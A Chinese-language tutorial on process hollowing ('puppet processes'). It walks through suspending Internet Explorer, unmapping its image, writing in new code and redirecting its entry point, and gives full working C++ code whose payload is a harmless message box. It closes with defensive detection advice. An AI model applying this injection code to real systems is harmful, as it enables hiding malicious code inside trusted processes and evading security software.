傀儡进程的分析与实现
字数 954 2025-08-09 13:33:44
傀儡进程的分析与实现
前言
傀儡进程是一种进程隐藏技术,通过挂起目标进程并修改其内存内容来实现代码注入。本文详细分析并实现了这种技术。
基础知识
挂起方式创建进程
使用CreateProcess函数创建进程时,通过设置CREATE_SUSPENDED标志可以创建处于挂起状态的进程:
BOOL CreateProcess(
LPCTSTR lpApplicationName,
LPTSTR lpCommandLine,
LPSECURITY_ATTRIBUTES lpProcessAttributes,
LPSECURITY_ATTRIBUTES lpThreadAttributes,
BOOL bInheritHandles,
DWORD dwCreationFlags,
LPVOID lpEnvironment,
LPCTSTR lpCurrentDirectory,
LPSTARTUPINFO lpStartupInfo,
LPPROCESS_INFORMATION lpProcessInformation
);
关键参数:
dwCreationFlags:设置为CREATE_SUSPENDED使进程创建后处于挂起状态lpProcessAttributes和lpThreadAttributes:控制进程和线程句柄的继承性
进程挂起与恢复
SuspendThread:挂起指定线程ResumeThread:恢复被挂起的线程TerminateProcess:终止进程
实现原理
- 以挂起方式创建目标进程
- 获取并修改进程内存
- 设置新的执行入口点
- 恢复进程执行
详细实现步骤
1. 创建挂起进程
BOOL CreateEXE() {
wchar_t wszIePath[] = L"C:\\Program Files\\Internet Explorer\\iexplore.exe";
STARTUPINFO si = {0};
si.cb = sizeof(si);
PROCESS_INFORMATION pi = {0};
BOOL bRet = CreateProcessW(NULL, wszIePath, NULL, NULL, FALSE,
CREATE_SUSPENDED, NULL, NULL, &si, &pi);
return bRet;
}
2. 卸载原有内存映射
使用ZwUnmapViewOfSection卸载目标进程的内存映射:
typedef NTSTATUS(__stdcall* pfnZwUnmapViewOfSection)(
IN HANDLE ProcessHandle,
IN LPVOID BaseAddress
);
pfnZwUnmapViewOfSection ZwUnmapViewOfSection = (pfnZwUnmapViewOfSection)
GetProcAddress(GetModuleHandleA("ntdll.dll"), "ZwUnmapViewOfSection");
ZwUnmapViewOfSection(pi.hProcess, (LPVOID)dwRemoteImageBase);
3. 获取进程信息
- 获取当前模块基址和大小:
HMODULE hModuleBase = GetModuleHandleA(NULL);
DWORD GetCurModuleSize(DWORD dwModuleBase) {
PIMAGE_DOS_HEADER pDosHdr = (PIMAGE_DOS_HEADER)dwModuleBase;
PIMAGE_NT_HEADERS pNtHdr = (PIMAGE_NT_HEADERS)(dwModuleBase + pDosHdr->e_lfanew);
return pNtHdr->OptionalHeader.SizeOfImage;
}
- 获取远程进程映像基址:
DWORD GetRemoteProcessImageBase(DWORD dwPEB) {
DWORD dwBaseRet;
ReadProcessMemory(pi.hProcess, (LPVOID)(dwPEB + 8), &dwBaseRet, sizeof(DWORD), NULL);
return dwBaseRet;
}
4. 分配新内存并写入代码
LPVOID lpAllocAddr = VirtualAllocEx(pi.hProcess, hModuleBase, dwImageSize,
MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(pi.hProcess, hModuleBase, hModuleBase, dwImageSize, NULL);
5. 修改线程上下文
CONTEXT Thread;
Thread.ContextFlags = CONTEXT_FULL | CONTEXT_DEBUG_REGISTERS;
GetThreadContext(pi.hThread, &Thread);
// 设置新的入口点
void Mess() {
MessageBoxA(0, "Inject successfully", "", 0);
}
Thread.Eip = (DWORD)Mess;
SetThreadContext(pi.hThread, &Thread);
6. 恢复线程执行
ResumeThread(pi.hThread);
完整代码实现
#include <windows.h>
#include <tchar.h>
#include <iostream>
using namespace std;
typedef long NTSTATUS;
typedef NTSTATUS(__stdcall* pfnZwUnmapViewOfSection)(IN HANDLE, IN LPVOID);
pfnZwUnmapViewOfSection ZwUnmapViewOfSection;
PROCESS_INFORMATION pi = {0};
BOOL CreateEXE() {
wchar_t wszIePath[] = L"C:\\Program Files\\Internet Explorer\\iexplore.exe";
STARTUPINFO si = {0};
si.cb = sizeof(si);
BOOL bRet = CreateProcessW(NULL, wszIePath, NULL, NULL, FALSE,
CREATE_SUSPENDED, NULL, NULL, &si, &pi);
return bRet;
}
DWORD GetCurModuleSize(DWORD dwModuleBase) {
PIMAGE_DOS_HEADER pDosHdr = (PIMAGE_DOS_HEADER)dwModuleBase;
PIMAGE_NT_HEADERS pNtHdr = (PIMAGE_NT_HEADERS)(dwModuleBase + pDosHdr->e_lfanew);
return pNtHdr->OptionalHeader.SizeOfImage;
}
DWORD GetRemoteProcessImageBase(DWORD dwPEB) {
DWORD dwBaseRet;
ReadProcessMemory(pi.hProcess, (LPVOID)(dwPEB + 8), &dwBaseRet, sizeof(DWORD), NULL);
return dwBaseRet;
}
void Mess() {
MessageBoxA(0, "Inject successfully", "", 0);
}
DWORD GetNewOEP() {
return (DWORD)Mess;
}
int _tmain(int argc, _TCHAR* argv[]) {
// 获取ZwUnmapViewOfSection函数
ZwUnmapViewOfSection = (pfnZwUnmapViewOfSection)
GetProcAddress(GetModuleHandleA("ntdll.dll"), "ZwUnmapViewOfSection");
if (!CreateEXE()) {
printf("Create Process failed\n");
exit(1);
}
HMODULE hModuleBase = GetModuleHandleA(NULL);
DWORD dwImageSize = GetCurModuleSize((DWORD)hModuleBase);
CONTEXT Thread;
Thread.ContextFlags = CONTEXT_FULL | CONTEXT_DEBUG_REGISTERS;
GetThreadContext(pi.hThread, &Thread);
DWORD dwRemoteImageBase = GetRemoteProcessImageBase(Thread.Ebx);
ZwUnmapViewOfSection(pi.hProcess, (LPVOID)dwRemoteImageBase);
LPVOID lpAllocAddr = VirtualAllocEx(pi.hProcess, hModuleBase, dwImageSize,
MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(pi.hProcess, hModuleBase, hModuleBase, dwImageSize, NULL);
Thread.ContextFlags = CONTEXT_FULL;
Thread.Eip = GetNewOEP();
SetThreadContext(pi.hThread, &Thread);
ResumeThread(pi.hThread);
return 0;
}
技术要点总结
- 进程创建控制:使用
CREATE_SUSPENDED标志创建挂起状态的进程 - 内存操作:通过
ZwUnmapViewOfSection和VirtualAllocEx控制进程内存 - 上下文修改:使用
GetThreadContext和SetThreadContext修改线程执行上下文 - 代码注入:通过
WriteProcessMemory将代码写入目标进程 - 执行恢复:使用
ResumeThread恢复进程执行
防御措施
- 监控进程创建行为,特别是带有
CREATE_SUSPENDED标志的创建 - 检查进程内存的异常修改
- 监控
ZwUnmapViewOfSection等敏感API的调用 - 实施代码完整性检查
应用场景
- 恶意代码注入
- 进程隐藏
- 反调试技术
- 合法用途如进程调试和监控
注意事项
- 此技术可能被用于恶意目的,仅限合法研究和防御使用
- 不同Windows版本实现可能有差异
- 需要管理员权限执行
- 可能触发安全软件的防护机制